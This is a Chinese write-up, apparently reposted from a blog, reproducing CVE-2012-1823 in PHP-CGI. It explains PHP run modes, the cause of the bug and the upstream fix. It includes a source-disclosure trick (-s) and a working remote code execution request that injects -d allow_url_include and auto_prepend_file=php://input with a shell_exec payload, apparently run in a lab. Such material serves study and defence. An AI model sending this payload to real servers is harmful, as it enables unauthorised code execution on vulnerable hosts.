CVE-2012-1823 漏洞复现

2024-02-10 10:04
文章标签 漏洞 2012 复现 cve 1823

本文主要是介绍CVE-2012-1823 漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2012-1823

PHP SAPI 与运行模式

首先,介绍一下PHP的运行模式。

下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”,比如在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm,他的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。

除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。

php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。

php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。

PHP的四种运行模式

(1)CGI

​ 全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准,另外CGI独立于任何语言,所以可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。

​ CGI针对每个用户请求都要开单独的子进程去维护,所以数量多的时候会出现性能问题,最近几年很少用。

(2)FastCGI

​ CGI的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。

​ PHP使用PHP-FPM(FastCGI Process Manager),全称PHP FastCGI进程管理器进行管理。

(3)Cli

​ PHP-CLI是PHP Command Line Interface的简称,就是PHP在命令行运行的接口,区别于在Web服务器上运行的PHP环境(PHP-CGI等)。

​ 在php-cli模式下我们可以直接启动一个php文件并执行,就像workerman中一样

(4)Module加载

这种方式一般是针对apache而言的,它是把php作为apache的一个子模块来运行。


漏洞影响范围

​ 漏洞影响版本 PHP < 5.3.12 、 PHP < 5.4.2

​ CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的php中。

漏洞成因

​ 这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

​ RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。

From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)In our SAPI cgi we have a check along these lines:if (getenv("SERVER_SOFTWARE")|| getenv("SERVER_NAME")|| getenv("GATEWAY_INTERFACE")|| getenv("REQUEST_METHOD")) {cgi = 1;}if(!cgi) getopt(...)As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:#!/usr/local/bin/php-cgi -d include_path=/path<?php...?>and have it work both from the command line and from a web context.As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.-Rasmus

但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。

于是,源程序中的if(!cgi) getopt(...)被删掉了。

根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入。

漏洞利用

​ cgi模式下有如下可控命令行参数可用:

  • -c 指定php.ini文件(PHP的配置文件)的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h-? 显示帮助

那么最简单的利用方式就是-s可以直接显示源码:

image-20230923132157742

爆出源码说明漏洞存在。看network,版本是PHP 5.4.1,满足条件。

一个更好的利用方法是通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:(其中用“+”代替了“空格”,并将“=”和“:”进行了URL编码)

​ 其原理是:利用可控命令行参数 -dallow_url_include 得值设为 on 并使用 auto_prepend_file 函数在页面顶部加载文件,而构造加载的文件为 php://input 读取的原始POST数据(也就是传输的数据 <?php echo shell_exec("ls");?> 的执行结果),并传递到回应包里。构造请求包如下:

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1...
...
...<?php echo shell_exec("ls");?>

在burp中构造执行的结果如下,成功拿到flag:

image-20230923133839047

漏洞修复

​ 修复原理是:获取querystring后进行解码,先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-。如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。修复源码如下

    if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {/* we've got query string that has no = - apache CGI will pass it to command line */unsigned char *p;decoded_query_string = strdup(query_string);php_url_decode(decoded_query_string, strlen(decoded_query_string));for (p = decoded_query_string; *p && *p <= ' '; p++) {/* skip all leading spaces */}  if(*p == '-') {skip_getopt = 1;}free(decoded_query_string);}

这篇关于CVE-2012-1823 漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/696816

相关文章

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)

一、文件夹功能解析 全文件夹如下 其中,核心文件作用为: diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库 example:标定及配置文件 scripts/scripts_real:测试脚本文件,区别在于前者倾向于单体运行,后者为整体运行 scripts_slam_pipeline:orb_slam3运行全部文件 umi:核心交互文件夹,作用在于构建真

文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《考虑燃料电池和电解槽虚拟惯量支撑的电力系统优化调度方法》

本专栏栏目提供文章与程序复现思路,具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

深度学习每周学习总结N9:transformer复现

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制 目录 多头注意力机制前馈传播位置编码编码层解码层Transformer模型构建使用示例 本文为TR3学习打卡,为了保证记录顺序我这里写为N9 总结: 之前有学习过文本预处理的环节,对文本处理的主要方式有以下三种: 1:词袋模型(one-hot编码) 2:TF-I

【网络安全】Jenkins任意文件读取漏洞及检测工具(CVE-2024-23897)

原创文章,不得转载。 文章目录 漏洞成因影响范围检测工具更多细节 漏洞成因 Jenkins CLI 接口存在任意文件读取漏洞(CVE-2024-23897)。该问题源于 args4j 库在解析文件名参数时,会将@符号后的字符串视为文件名并尝试读取文件,而且该功能默认处于启用状态。 影响范围 Jenkins weekly <= 2.441 Jenkins LTS <=